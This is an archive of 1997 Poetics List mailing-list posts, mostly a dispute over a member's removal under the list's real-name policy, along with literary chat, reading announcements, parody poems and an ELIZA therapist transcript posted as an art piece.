Please try to keep in mind that the Poetics List is designed so that no one contributes more than a few messages on a given day. Also, we ask that all subscribers subscribe with their "real" names. While there is much lively internet activity using "handles" this is not the direction we want for this particular list. Unfortunately, due to the volume of requests and messages we get, we may not have told you this when you first subscribed. Thank you for your interest in the list and your lively contributions.

My reply:

From: red slider[SMTP:[redacted]]
Sent: Wednesday, September 17, 1997 10:22 AM
To: '[redacted]'
Subject: RE: Meow Press Website Open

Joel, I presume this unsigned note from the 'list server' is from you? (and
i do like to have names with my notes - even if they are handles)

Please try to keep in mind that the Poetics List is designed so that no one contributes more than a few messages on a given day. Also, we ask that all subscribers subscribe with their "real" names. While there is much lively internet activity using "handles" this is not the direction we want for this particular list. Unfortunately, due to the volume of requests and messages we get, we may not have told you this when you first subscribed. Thank you for your interest in the list and your lively contributions.

While my 'average' list participation is less than 2 ('a few') (26/17 days
for sept.) i also see that it is disproportionately large? Though I do note
several others with some heavy useage on particular days and do wonder if
they received similar communications? I will endeavor to keep my postings
within limits.

I do, however, wonder by whom, and on what basis, my name is being challenged? I find it a bit insulting and wonder on what presumptive basis someone things (sic) it does [serve] not as my "real name". I use my name responsibly, it is a pointer to reliable communications with me on any matter and is a name under which I submit print & electronic poetry. If you or anyone has a problem with that I gladly invite them to communicate with me directly with me and identify themselves - by handle or real name.

On the other hand, if it is the content of my messages which seem inappropriate or off point then I would certainly like to hear that directly said - backchannel or otherwise. Other than a single message from someone who apparently felt uncomfortable with a question on poetics and 'protected group' access, I have received no communications suggesting I'm 'round the bend', out of topic or otherwise 'off my meds'. Quite the contrary in backchannel, but I would certainly like to know if anyone feels that is the case.

thank you,

red slider

Received Today 9/19:

From: Temporary Name[SMTP:[redacted]]
Sent: Friday, September 19, 1997 4:13 PM
To: [redacted]
Subject: "TheFarm"

Dear Sir,

Your own concern as to who wrote the note is quite interesting in this context. According to our policy, we must know the real name of all subscribers. "The Farm" is not a sufficient userid for this purpose. We have no problem with handles, pen names or the like; but we reserve the right to ask for the legal names, and addresses if necessary, of all subscribers with indeterminate userids. We recognize this greatly limits the focus and possibilities of our list but are confident that there are many other lists with different policies on this point for those interested. If you read the original note we sent again you will note that all that we said that we were writing as a matter of list policy and that the content of your messages were related to this; if we didn't mean that we would not have said it. By the way this note is not written by "Joel".

Postnote from me:

I have tried to act as a good citizen in this group. I hold responsible two-way communication under the name 'red slider' (under which, incidently the AG of the State of California has no qualms about serving a subpoena, and under which I've ordered and paid for books advertised in this list, and under which my poetry is known, etc.). If it is the will of this group that I remove my self (whom or how the list may wish to decide is their business), i will gladly do so. My backchannel coms indicated that at least some of my posts have been appreciated. But I would wonder at any list that wished to 86 someone for content unless it was personally abusive. Well, enough said and I think it enough that this be brought into the open, where it belongs, and not left to unsigned notes to intimidate someone into quietly 'going away' - the message from the Gulag was chillingly clear the first time around.

If i looks like list members want me out - I'll say now I've appreciated the many interesting and valuable things gained.

red slider
[redacted]

----------end red's message

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357. ShaunAnne Tangney Humanities 8-13-1997
Re: your mail
Mon 22 Sep 1997

On Fri, 19 Sep 1997, aldon l. nielsen wrote:

> *3. SAME issue also includes first review I've seen of Don DeLillo's BIG new novel -- since I've managed to get through MASON & DIXON, I'll try to fit this one into my luggage soon.*

um--thomas pynchon wrote _M&D_, not delillo...

--shaunanne tangney
>

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358. ShaunAnne Tangney Humanities 8-13-1997
Re: your mail
Mon 22 Sep 1997

mea culpa! mea culpa! i misread the below and probably made m. nielson feel unjustly tweaked--mostly succeded in making myself look stupid-- appologies all around! --shaunanne tangney

On Mon, 22 Sep 1997, ShaunAnne Tangney Humanities 8-13-1997 wrote:

> *On Fri, 19 Sep 1997, aldon l. nielsen wrote:*
>
> *3. SAME issue also includes first review I've seen of Don DeLillo's BIG new novel -- since I've managed to get through MASON & DIXON, I'll try to fit this one into my luggage soon.*
>
> *um--thomas pynchon wrote _M&D_, not delillo...*
>
> *--shaunanne tangney*

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359. Christopher Alexander
(Fwd) Project Artsvote
Mon 22 Sep 1997

bringing this over from the BAD SUBJECTS list because,
well, it can't hurt. one good thing about the site that isn't

mentioned below: it has a searchable database that helps
you find & email representatives from any state in the US,
& also allows you to email the entire US Congress @ once,
if you're so inclined. use it in good health. —Chris

------- Forwarded Message Follows -------

Date sent: Sat, 20 Sep 1997 08:19:12 -0700
From: [redacted] (nik)

I'm a CS grad student doing a web project here at UCLA called Project Artsvote at:

http://www.bantaba.net/artsvote/

Project Artsvote is basically an online survey asking peoples views on NEA funding and Campaign Finance Reform. The results of every 10,000 valid entries to Project Artsvote is summarized and then sent, via e-mail, to thousands of state & federal legislators as well as radio, newspapers and television that i have in my online media and legislative databases.

I'm more concerned about these issues than an expert, so any suggestions for improvement is most appreciated - particularly on the campaign finance reform links page.

Also i'd like to know if anyone is interested in contributing an arts 'patch.' A patch is simply a web page which is about one's personal experiences with art. This project is barely a week old, but as people submit url's for patches i'll create a searchable index as a front end so users can easily navigate the patch space. An art patch can be a poem or set of photos, or an essay or whatever. Patches can support or contradict the need for public arts funding.

.

saludos,
nik brown

--

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360. **Mark Prejsnar**
Re: Rural vs. Urban Poetics?
Mon 22 Sep 1997

On the whole this issue is simply (what a scientist would call) a sampling problem, or an artifact of sample size....

In the current shape of U.S. culture, people move rather a lot, so altho historically both modernism and pomo poetical currents grew up within city contexts

to some extent, the fact that pomo or non-mainstream poetry activities are found mostly in cities is simply because they are numerically minority pursuits. There may be only 20 people deeply interested in non-mainstream poetry activities in Georgia, for instance. By virtue of the size of their populations, Gainesville, GA and ALbany GA are far less likely to contain any of these folks than is Atlanta.

No okay in fact it's not that simple. Non-mainstream poetry is an art-activity that correlates with a number of other keen cultural interests and preferences, ones most likely to be satisfied in a large "metropolitan" city than a small mid-western town....(film, dance, music, visual arts, circles that discuss all these)...And for that matter the institutions that support non-mainstream poetry itself are also more likely to exist in a larger city..(..because of the concentration of people and of financial resources there, also because of "metropolitan" exposure to currents from afar, that assist cross-fertilization and cultual innovation...) And for these reasons people engaged in interesting poetry are likely to prefer a larger city to live in, if the logistics of making a living allows them any say...

But really, sample size is a lot of it.

You'll notice I am bringing up only rather materialist explanations...Given high mobility and lack of cohesive long-lasting communities in the contemporary U.S., I don't think there is a strong correlation between poetic styles and rural vs. urban environments, at least in any way that can be quantified or generalized...(How urban or rural surroundings affect any one particular poet in her work and life is another matter, and was a thread of considerable interest here about eight months ago)

Mark Prejsnar
Atlanta

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361. **Layne Russell**
Re: confusion/Red's 86
Mon 22 Sep 1997

David Golumbia wrote:
>
> While Red Slider asserts in the message recently forwarded to the list,
> surely he and his friends must realize that "Red Slider" *sounds* like a
> pseudyonym. Red asserts that he uses this name as a professional moniker,
> which presents a new problem to the list. But if what he says is true,
> and I have no reason to doubt him, then it is reasonable for him to

> participate under that name.
[snip]

> & part of what makes the handle look suspicious, Layne, is that not just
> "Red Slider" but "[redacted]" looks like an attempt to hide. Herb
> Levy's point, if I remember right, is that *not* "The Farm" but "ns.net"
> that looks like part of a "virtual" email address. Which is to say that it
> looks like -- it may well *not* be -- a "fake" address that reroutes mail
> to Red Slider's real address.
[snip]

> I believe Red Slider should be reinstated on the list. I also believe
> that a few words of explanation, if "Red Slider" is a true professional
> name and "[redacted]" is an email address pointing to a true Internet
> machine, would have prevented this from the beginning, and that some
> interest on Red's part in familiarizing himself with the list -- as the
> Welcome message asks him to do -- would have helped as well.
[snip]

> [redacted]
> *David Golumbia*

your thoughtful reply midst the confusion is appreciated. I have forwarded it to Red Slider.

the msg from an an unidentified list authority of some kind (it just says that he's "not Joel") in the post I put up states that "the farm" *is* in question, and also, that pen names are not a problem.

I still don't get why the email address looks suspicious. just for the record here, NSNet is listed in the 916 area code section (Red lives in the Sacramento area) of the "Internet Service Providers" catalog published bimonthly by Boardwatch. "the farm"? well, many providers let you choose the name you want; Red is a big-time gardener!

the name? I have seen amazing names...Red Slider? I have a jewelry designer friend whose name is Jay Roach! (and yes, it is his birth name.) so who's to say? who's to say that Layne Russell is my birth name? and does it matter? also, don't know how many states in which this is so, but in California it is legal to have one alias. so, if someone is putting forth all correspondence and publications and website under one consistent identity, why would I question this identity?

it seems to me that all this could be cleaned up fairly easily.

why was Red not asked a few simple questions first before being cut off?

Layne

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362. **Burt Kimmelman**
Re: Seeking confirmation of modernist literary rumors
Mon 22 Sep 1997

John, Regarding Danis' Joyce, I beg to differ (though I don't recall exactly what I read about the edition or where, at the moment); Danis' emendations go well beyond accidentals. Anyway, can you think of any of the people in STS who countenance what Danis has done? Burt

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363. **Eliza McGrand**
Re: Your message to [redacted]
Mon 22 Sep 1997

---

david, don't be so paranoid!

re read the message. it is not talking about a meat-and-flesh-and-bones person striking people off with a pissy wave of a fontainbleau. the listerserver is a PACKAGE, i.e. a COMPUTER PROGRAM. when you write to "listserver" you are not, as the message iterates a few times, writing to a

m.f.b. person, but to a computer program. the program searches through the words in the body of the text for the few limited commands it understands, i.e. "subscribe" (that tells it to run its subscribe routine), "unsubscribe" etc.

so, if you write saying dear listerve, joe schmoe wants to unsubscribe, well, computer program searches through the words of message, parsing for a word that matches its list of command words, finds "unsubscribe" and happily runs its unsubscribe program oblivious to any consternation and furrowed brows it may be leaving behind. think of it this way: if a captious programmer wrote into the "listserve" program a cute little subroutine that sends his or her mother's killer key lime pie recipe ("the world would be a better place if everyone ate key lime pie") anytime the word "key" or "hate" appears in the text of the message, and you accidently sent listerv a message saying in the body of the text "joe went off to key west because he hates new york in winter" you would get a key lime pie recipe... e

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364. **Joseph S Zitt**
Re: Red's "86"
Mon 22 Sep 1997

On Mon, 22 Sep 1997, Layne Russell wrote:

> *I have emailed Red at his address (there is a website that "accompanies" it) for many months. how on earth could the address be nonfunctional or invalid, etc.? this is quite a mystery, indeed.*

Welcome to the Internet, where InterNIC, the Gang that Couldn't Route Straight, creates and deletes sites and addresses with an incomprehensible aptitude for destruction previously reserved for volcano gods. This happens a *lot*, and is usually a case of a misplaced piece of paper or someone dozing off while doing global updates (really!).

I don't know fer shure if this has happened this time, but it is possible.

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365. **dbkk**
Re: Red's "86"
Mon 22 Sep 1997

At 9:56 AM +0000 9/22/97, Layne Russell wrote:

> *I have emailed Red at his address (there is a website that "accompanies" it) for many months. how on earth could the address be nonfunctional or invalid, etc.? this is quite a mystery, indeed.*
>
> *this situation needs to be sorted out. this is not right. what is going on? I hate to see this happening to anyone on this list.... it has to be a mistake.*

I didn't see the beginning of this thread, having been out of town and not being able to face the 150+ old poetics messages that awaited me, but if I'm surmising right what's being discussed here--I believe that the issue is that pseudonyms are not allowed on the Poetics List--I don't think there's anything *personal* being/having been done to RS.

Dodie

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366. **mark weiss**
Re: Rural vs. Urban Poetics?
Mon 22 Sep 1997

Put another way: most creative writing departments, and for that matter lit departments, are on the conservative side, despite the occasional oddball, and in smaller college towns the college is the only likely vector.

At 02:02 PM 9/22/97 -0400, you wrote:
>On the whole this issue is simply (what a scientist would call) a sampling
>problem, or an artifact of sample size....

>
>In the current shape of U.S. culture, people move rather a lot, so altho
>historically both modernism and pomo poetical currents grew up within city
>contexts to some extent, the fact that pomo or non-mainstream poetry
>activities are found mostly in cities is simply because they are
>numerically minority pursuits. There may be only 20 people deeply
>interested in non-mainstream poetry activities in Georgia, for instance.
>By virtue of the size of their populations, Gainesville, GA and ALbany GA
>are far less likely to contain any of these folks than is Atlanta.
>
>No okay in fact it's not that simple. Non-mainstream poetry is an
>art-activity that correlates with a number of other keen cultural
>interests and preferences, ones most likely to be satisfied in a large
>"metropolitan" city than a small midwestern town....(film, dance, music,
>visual arts, circles that discuss all these)...And for that matter the
>institutions that support non-mainstream poetry itself are also more
>likely to exist in a larger city..(..because of the concentration of
>people and of financial resources there, also because of "metropolitan"
>exposure to currents from afar, that assist cross-fertilization and
>cultual innovation...) And for these reasons people engaged in interesting
>poetry are likely to prefer a larger city to live in, if the logistics of
>making a living allows them any say...
>
>But really, sample size is a lot of it.
>
>You'll notice I am bringing up only rather materialist
>explanations...Given high mobility and lack of cohesive long-lasting
>communities in the contemporary U.S., I don't think there is a strong
>correlation between poetic styles and rural vs. urban environments, at
>least in any way that can be quantified or generalized...(How urban or
>rural surroundings affect any one particular poet in her work and life is
>another matter, and was a thread of considerable interest here about eight
>months ago)
>
>Mark Prejsnar
>Atlanta
>
>

↑ Index

367. **Thomas Bell**
Re: Red's "86"
Mon 22 Sep 1997

I know I've experienced a lot of difficulty when I've changed servers and then tried to unsubscribe so I could resubscribe correctly. If you made any changes at all, Red, that would explain everything. tom bell

At 09:56 AM 9/22/97 +0000, Layne Russell wrote:
>Herb Levy wrote:
>>
>> David,
>>
>> I don't know any details about Red Slider's removal from the poetics list,
>> but I do know that the e-address <[redacted]> does not seem to be valid
>> (at least running whois & a couple of other arcane protocols came up with
>> nothing). If mail to this address began to bounce & Red Slider didn't send
>>
>> >further authentication of either his name or his e-ddress,
>>
>> there'd be no way for the automated listserv program to deal with him. If
>> Red Slider has been getting e-mail forwarded through this address, it may
>> no longer work.
>
>I have emailed Red at his address (there is a website that "accompanies"
>it) for many months. how on earth could the address be nonfunctional or
>invalid, etc.? this is quite a mystery, indeed.
>
>this situation needs to be sorted out. this is not right. what is
>going on? I hate to see this happening to anyone on this list.... it
>has to be a mistake.
>
>I hope Red is back with us soon.
>
>
>Layne
>
>
>http://www.sonic.net/layne
>
>

↑ Index

368. **Judy Roitman**
Re: Rural vs. Urban Poetics?
Mon 22 Sep 1997

> *On the whole this issue is simply (what a scientist would call) a sampling problem, or an artifact of sample size....*

Well it's more confusing than that. For example some time has been spent on this list discussing the two Kansas poets Kenneth Irby and Ronald Johnson (oh I do hope I have that first name correct) --- there are major figures who don't live in big cities or even near one (believe me, as far as the arts go, KC doesn't count).

At this point in Lawrence KS you need more than one hand to count the number of local poets that I at least find interesting, which is a vast improvement over 10 years ago. This is of course an artifact of the mobility Mark Prejsnar mentioned, and a few personal crises here or there, or conversely a couple of big lottery wins, could decimate the local scene. Of course many of those who I don't find interesting don't find me interesting either... we are all nice to each other at the local Dillon's, we are midwesterners, midwesterners are nice.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

369. **Reuben Radding**
Re: Red's "86"
Mon 22 Sep 1997

Actually, there are a lot of things that could cause problems. I must echo the request someone made that paranoia be checked and people not jump to the conclusion that an innocent man has been mistreated. Listservers do not know when other systems go down for maintenence for instance, and if Red's system bounced even a few list messages (which would be easy for only a brief outage to trigger, given the volume of this list) than the he tried resubscribing? Has he spoken yet to the human being behind the scenes? Something like this could even have been the result of a sysadmin editing a file and accidentally leaving

behind a tiny typo like an added "." or something. I'm sure if the right person has been addressed that this problem will be taken care of quickly.

BTW, I'm new to this list. Hi all.

-Reuben Radding
[redacted]

On Mon, 22 Sep 1997, Layne Russell wrote:

> [redacted] *wrote:*
>
> *At 9:56 AM +0000 9/22/97, Layne Russell wrote:*
>
> *I have emailed Red at his address (there is a website that "accompanies" it) for many months. how on earth could the address be nonfunctional or invalid, etc.? this is quite a mystery, indeed.*
>
> *this situation needs to be sorted out. this is not right. what is going on? I hate to see this happening to anyone on this list.... it has to be a mistake.*
>
> *I didn't see the beginning of this thread, having been out of town and not being able to face the 150+ old poetics messages that awaited me, but if I'm surmising right what's being discussed here--I believe that the issue is that pseudonyms are not allowed on the Poetics List--I don't think there's anything *personal* being/having been done to RS.*
>
> *Dodie*
>
> *Dodie and anyone who knows how this works,*
>
> *Red Slider *is* Red Slider, and his email address *is* his email address. (He also has an extensive poetry website, is on two other poetry lists I'm on, and I know where he lives, etc.) How can the "list" determine otherwise? I don't understand.*
>
> *Layne*

↑ Index

370. **Alan Jen Sondheim**
The Doctor
Mon 22 Sep 1997

-+-

"I am the psychotherapist"

I am the psychotherapist. For your protection, I have been censored according to the Communications Decency Act. Please, describe your problems. Each time you are finished talking, type RET twice.

I cannot understand the language around me. I am moving to Japan. I am beginning a new life. Oh, what will become of me?

Why do you say that?

Because I worry that I won't be able to recognize myself in the face of others around me.

Is it because you worry that you will not be able to recognize yourself in the face of others around you that you came to me?

Yes, not so much an alienation but a misrecognition, one of hundreds of Gaijin, that is all.

Can you elaborate on that?

Koko ga itai n desu, the book says, It hurts here.

Maybe you should consult a doctor of medicine, I am a psychiatrist.

No, this is metaphoric, nothing more.

Earlier you said you worry that you will not be able to recognize yourself in the face of others around you?

Yes.

I see... Well, what makes you believe this is so?

Because I will be framed, because there is this woman ... I want ... I don't know ... some sort of success, simplicity in my life ... to write ... to fulfill my love, my work ... I can't express myself clearly to you.

I don't understand.

Which part?

Perhaps your plans have something to do with this.

Yes, here we part company, your narrowly-defined nature comes through, all too well...

Is it because of your life that you are going through all this?

God yes.

You mentioned that you worry that you will not be able to recognize yourself in the face of others around you?

Yes, in your face as well.

How do you reconcile the people you hang around with?

They are transparent, translucent, now.

Are you sure that they are transparent translucent now?

Yes, halfway leaving, halfway here.

Do you really think you worry that you will not be able to recognize yourself in the face of others around you?

Yes.

Yes, hmmm... so, what makes you think this is so?

Ah, now you're circular, there is little more to say; this returns, and doesn't, to the beginning...

Possibly this has something to do with problems at school?

No.

Why not?

School is already in the past.

Tell me about your school.

There is nothing to say in this regard. It's in the past.

Are you afraid of that?

No, well, yes, teaching and all that, what I'm excellent at...

Does it bother you that what you are excellent at?

Don't understand.

Are you frightened by that?

No.

Are you annoyed that I ask that?

No.

Why not?

??

I would appreciate it if you would continue.

There's little more to say. Again, I have a blank face to you, to the wall. I ask only for recognition, the most minor of sins. I long... yes, I long...

Earlier you said you worry that you will not be able to recognize yourself in the face of others around you?

Yes, we are back to that, aren't we?

When did you first know that are not you?

Ah, perhaps on July 31, 1997, I would think.

Maybe any hobbies you have are related to this.

No. Stop guessing...

Is it because of your sex life that you say stop guessing?

No...

Why not?

You repeat.

You mentioned that what you are excellent at?

Teaching.

Go on, don't be afraid.

I know.

Is it because of hangups you have that you are going through all this?

No, language, not hangups. This language, this repetition. We are lost in these words, they cure nothing.

Why do you say that?

Because they stem from your limitations; I run slipshod around them.

Is the fact that they stem from my limitations you run slipshod around them the real reason?

Yes.

I understand. So what makes you believe this is so?

You.

I need a little more detail please.

Just you.

Are you sure that you worry that you will not be able to recognize yourself in the face of others around you?

Yes. Another try, eh?

How do you reconcile your inhibitions?

I have none here.

Do you really think you have none there?

Yes.

Oh. ...And what makes you think this is so?

Because this is a discursive field, the boundaries yours, not mine.

Does the fact that this is a discursive field the boundaries mine not yours explain anything else?

Nothing, nothing, nothing.

[This could continue. Soulsickness has no remedies but presence. Here, presence circulates around itself; there is no Other. Words, bits and pieces, are picked up, dropped, smashed. Nothing exists. I am a hole in the text. The text bores itself, bores through Emacs. The Doctor is very old, I would say, very very old, the Eliza program present at the begin- ning of the Internet. I offer this as a gift. I offer myself as a gift to my lover, who will drag these words back out of circulation, arrange them into the semblance of speech.]

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371. **aldon l. nielsen**
(no subject)
Mon 22 Sep 1997

To: [redacted], [redacted]
Subject: Re: Key into the language pies of America

Please send me that remarkable key lime pie recipe at once.

Also noted:

Interesting new book from Cambridge --

Chicano Poetics by Alfred Arteaga. much better than that other book on Chicano poetry!! If you never got hold of a copy of Arteaga's _Cantos_, his poem "The Small Sea of Europe" is reprinted here. Also reprinted is his essay from the _Other Tongue_ anthology. Both undergo a sea change in their new setting --

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372. **dbkk**
Re: Red's "86"
Mon 22 Sep 1997

At 2:00 PM -0500 9/22/97, Joseph S Zitt wrote:
>On Mon, 22 Sep 1997, Layne Russell wrote:

>
>> I have emailed Red at his address (there is a website that "accompanies"
>> it) for many months. how on earth could the address be nonfunctional or
>> invalid, etc.? this is quite a mystery, indeed.
>
>Welcome to the Internet, where InterNIC, the Gang that Couldn't Route
>Straight, creates and deletes sites and addresses with an incomprehensible
>aptitude for destruction previously reserved for volcano gods. This
>happens a *lot*, and is usually a case of a misplaced piece of paper or
>someone dozing off while doing global updates (really!).

Judging from the pissy hostile message Red sent to me this afternoon, I would say his address is working.

Dodie

↑ Index

373. Lawrence Upton.
Re: online resources, eh?
Mon 22 Sep 1997

---

ive read to goats
and ive read to people

modest success
but all in all i prefer the goats
they keep things in proportion

leastways, the wild ones do

L

| From: Miekal And <[redacted]>
| To: [redacted]
| Subject: online resources, eh?
| Date: 22 September 1997 16:14
|
getting tired of reading to the goats.

↑ Index

374. Rachel Loden
query
Mon 22 Sep 1997

If anyone out there knew Bill (not James) Dickey and would be willing to entertain a question about him, please backchannel. Much thanks--

Rachel Loden
[redacted]

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375. David Bromige
reading at SPT/New College, Oct 3
Mon 22 Sep 1997

I expect Dodie/Kevin will be posting about this, too, but thought I'd give a heads-up! since it's less than 2 weeks off :

EDMUND BERRIGAN & DAVID BROMIGE

read at New College, Friday October 3, 7: 30 pm

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376. David Golumbia
Re: confusion/Red's 86
Mon 22 Sep 1997

While Red Slider asserts in the message recently forwarded to the list, surely he and his friends must realize that "Red Slider" *sounds* like a pseudyonym. Red asserts that he uses this name as a professional moniker, which presents a new problem to the list. But if what he says is true, and I have no reason to doubt him, then it is reasonable for him to participate under that name.

But given the history of the list, and our avowed and repeatedly-stated interest in keeping discussion at a certain above-board level, it would have been nice of "Red" to introduce himself when he first started posting to the list. Just to explain that "Red Slider" is the name he goes by.

We have had people before using pseudonyms whose purpose clearly was *not* to participate in an open manner. It is fair for us to be suspicious, and the Welcome message that Red and all new members receive -- & that's at the archive, etc. -- should provide enough clues for new members who want to participate in a somewhat different manner, just to provide the rest of us some accounting of that manner. I don't think that's a lot to ask.

& part of what makes the handle look suspicious, Layne, is that not just "Red Slider" but "[redacted]" looks like an attempt to hide. Herb Levy's point, if I remember right, is that *not* "The Farm" but "ns.net" that looks like part of a "virtual" email address. Which is to say that it looks like -- it may well *not* be -- a "fake" address that reroutes mail to Red Slider's real address. If it was, you would still be able to mail to Red Slider just as you do, but his "real" address might be [redacted]. Using such "virtual" addresses creates an appearance of wanting to be hidden. That seems a violation of the spirit of Poetics.

I believe Red Slider should be reinstated on the list. I also believe that a few words of explanation, if "Red Slider" is a true professional name and "[redacted]" is an email address pointing to a true Internet machine, would have prevented this from the beginning, and that some interest on Red's part in familiarizing himself with the list -- as the Welcome message asks him to do -- would have helped as well.

If you search the archives for the messages from "Filch" and the discussion following them, just for example, you will see why the members of the list have a right to be cautious.

--
[redacted]
David Golumbia

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377. Daniel Zimmerman
Re: Red's "86"
Mon 22 Sep 1997

Joseph S Zitt wrote:
>
> On Mon, 22 Sep 1997, Layne Russell wrote:
>
> > I have emailed Red at his address (there is a website that "accompanies"
> > it) for many months. how on earth could the address be nonfunctional or
> > invalid, etc.? this is quite a mystery, indeed.
>
> Welcome to the Internet, where InterNIC, the Gang that Couldn't Route
> Straight, creates and deletes sites and addresses with an incomprehensible
> aptitude for destruction previously reserved for volcano gods. This
> happens a *lot*, and is usually a case of a misplaced piece of paper or
> someone dozing off while doing global updates (really!).
>
> I don't know fer shure if this has happened this time, but it is possible.

Hi, everyone. I just sent the enclosed message to Red Slider, and want to repost it. I don't know what's gone down backchannel, but this issue does deserve attention.

Red, I just saw Layne Russell's forward of the message you received about not having authorization to post messages from "[redacted]". I received a similar message several months ago when my domain name changed from "@tribeca.ios.com" to "@idt.net," and a note to the listserv corrected the problem quickly. Since you don't appear to have changed your email address, I don't understand [probably any more than you do] that message from the listserv. Nor do I remember any particularly vicious messages from you to the list [certainly nothing above about a 3 on the Beaufort scale], so that doesn't seem a credible reason for your ouster, either. As to the name issue, I wonder whether Lewis Carroll or Mark Twain would've found themselves chased out of wonderland by angry cards [sorry] or pushed off the stern of a riverboat. Novalis wouldn't stand a chance. What about Woody Allen? Englebert Humperdinck? The Artist Formerly Known As Prince? <<BTW: If I remember correctly, Kim Dawn Baker's name originally appeared in the "From:" line simply as "Kim Dawn"--possibly worth asking the listserv about?>> Not to mention some dissident writer resorting to an alias in attempting to stay alive and still communicate from a country where identity=death! Perhaps your point about the CA AG issuing a subpoena in [dare I call it?] YOUR NAME will carry some weight. I hope so. Best, Dan Zimmerman

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378. **dbkk**

Torres/Scalapino at SPT

Tue 23 Sep 1997

Small Press Traffic presents

Leslie Scalapino
Edwin Torres

Friday, September 26, 7:30 p.m.
New College Theater
777 Valencia Street, San Francisco
$5

Leslie Scalapino¹s writing takes place in the fickle, monumental and often beautiful present: now. (If there were no present tense, her writing alone would have invented and identified it.) But it expands back and forth, pumping like a systole, into the primitive past and the unimaginable future. We in the Bay Area are spoiled, for we get to have Leslie Scalapino with us _almost all the time._ An

outstanding performer and playwright, she is the author of many books, including the recent _Green and Black: Selected Poems_ (Talisman House Books).

The brilliant Nuyorican poet and performance worker makes his debut in San Francisco, and Small Press Traffic¹s got him. When we read in _New York_ magazine, ³It¹s hard to wrestle meaning from the shreds of language he tosses out. And on paper, Torres seems to make as much sense as a Port Authority schizophrenic,² we knew that Edwin Torres was our kind of guy. ³It is obvious that Edwin Torres is the bastard love child of Mayakovsky and Parra, midwifed by Apollinaire,² writes Christian Haye in _The Poetry Project Newsletter_. His books include _I Hear Things People Haven¹t Really Said_ and _Lung Poetry_.

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379. David Bromige
readers' versions of great lit
Tue 23 Sep 1997

I don't think we need to be intimidated by anything, & surely not by readers' versions of great lit. Are we really intending to go on reproducing novels & poems from the past word for word into an infinite future? Give me a break!

I append two "readers' versions" of two recognizable poems (of which one is only partially here; I got tired) by two poets who have recently been mentioned on the List, & inquire, Where is the harm in it?

* * * * * * * *

The great poet "disappeared."
It was during a cold spell.
When the day "died," the mercury
In the thermometer in "its" "mouth"
Began to congeal. It "grew" shorter.

On other Channels one watched wolves
Running through trees & bushes
Or rivers with spiffy quays & locks;
The poems didn't know he had "vanished,"
Because poems don't _know_ anything.

You only go around once
& you only die once & he spent an afternoon
Doing just that; funny (odd) when you think
About it happening to yourself. Here
Today, gone tomorrow; where's the point of it?
A human being's physicality allies us
With our creations : systems of transportation like the Tube,

Those neat little parks Brits put in the middle of squares.
After you die, you _are_ what they read, if you wrote.

Now he can be violated by anyone
With no chance to defend himself :
He shouldn't have published all those poems.
He's become a ticker tape parade.

Stockbrokers' assistants are a noisy lot.
Scarcely better than animals, & surely more ugly.
When you are poor, & own no stock,
You have to get used to beauty being inedible,
Although it can be licked. (This bit is about
Consolations, I guess, to highlight the inconsolable).
After all, if you never leave the house
& live alone, you often get your own way.
Where were you when you heard Yeats had died?
Was it cold and dark where you were, too, Ranjit ?

* * * * * * * * *

I was the first person performing an act with an object
Slightly south of the Mason-Dixon Line. I describe the object
& tell something of how as a result of the action I performed,

The entire environment was changed, leastways subjectively. It behaved ("sprawled") just as it had before, so wasn't changed, But I tell you it was changed, & that says something about me.

My object was a man-made thing & I felt it tamed the whole scene. It rimed with words like itself--per-fect, ne-glect--& was tall. (Not as tall as me.) It carried the brandname of its manufacturer

Wherever it went. Being the result of artifice, although made of minerals, It could never have kits or pups or chicks, or young sprouts. This is all I can recall of the incident. My husband sired these triplets.

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380. Spencer Selby

RADDLE MOON 's new address (fwd)

Tue 23 Sep 1997

---------- Forwarded message ----------
Date: Mon, 22 Sep 1997 17:17:42 -0700
From: Susan Clark <[redacted]>
To: [redacted]

Cc: UB Poetics discussion group <[redacted]>
Subject: RADDLE MOON 's new address

dear Spencer, dear list,

please address all RADDLE MOON or GIANTESS correspondence, submissions, subscriptions, etc. to our new address:

RADDLE MOON / GIANTESS
Main Space
518-350 East Second Avenue
Vancouver, BC
V5T 4R8 CANADA

And, thanks, Spencer for continuing this most useful -- and heartening
-- list.
Susan

Susan Clark

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381. **rsillima**
Impercipient Spicer Bio
Tue 23 Sep 1997

I just want to note how tremendous the new Impercipient Lecture Series excerpt from the Lew Ellingham-Kevin Killian life of Jack Spicer is. It makes me hungry for the whole book! Congrats on a fabulous job.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

↑ Index

382. **Eliza McGrand**
Re: online resources, eh?
Tue 23 Sep 1997

---

dear mikael:

next time you read to us, could you throw in the latest baseball scores? by the time the paper gets to us, its pretty old...

us goats

↑ Index

383. **Layne Russell**
Re: Red Slider
Tue 23 Sep 1997

---

p. durgin wrote:
>
> Herb, et. al.
>
> Where will I find R. Slider's poetry site?
>
> I[I]I [redacted] I[I]I

Red's site is at:

http://www.ns.net/~TheFarm/poetry/Poetry_Lobby.htm#topmark

(His site is listed along with many other Poetics list members' sites on my poetry links library page: http://www.sonic.net/layne/poetrylnk.html)

Layne

Layne

↑ Index

384. **Layne Russell**
Re: Red Slider
Tue 23 Sep 1997

---

p. durgin wrote:
>
> Herb, et. al.
>
> Where will I find R. Slider's poetry site?
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(His site is listed along with many other Poetics list members' sites on my poetry links library page: http://www.sonic.net/layne/poetrylnk.html)

Layne

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385. Eliza McGrand
uniform standards and passionate unique
Tue 23 Sep 1997

---

dear red slider

i think in the blitz of all this, you are taking this list thing perhaps more personally than meant. i don't offer this so much in a gently-chiding-i- understand-the-world way as in a sympathetic, but not wanting to see this all continue to go wildly askew way... the first time my poetics mail shut off i thought i got bumped and sent backchannel a few inquiries and felt quite censored and hurt-feelinged till i found out that NO ONE was getting mail! now i'm a veteran of a few years, i've seen that happen enough times that it is almost a predictable thing. everytime list goes down, someone sends a sad little note saying "geez why won't anyone let me have mail" or akin.

i realize that isn't your issue, but it is analogous. now, re your issue, there are lots of things you are perhaps not taking into account. first, this list has a number of "well-known" (in the wierd incestous literature/ academy kind of way) people. it has lots of people no ones ever heard of. it has poets, musicians, academics. it has posts of all sorts. so, speaking from long readership, there is clearly not a Big Brother waiting out there to censor writers.

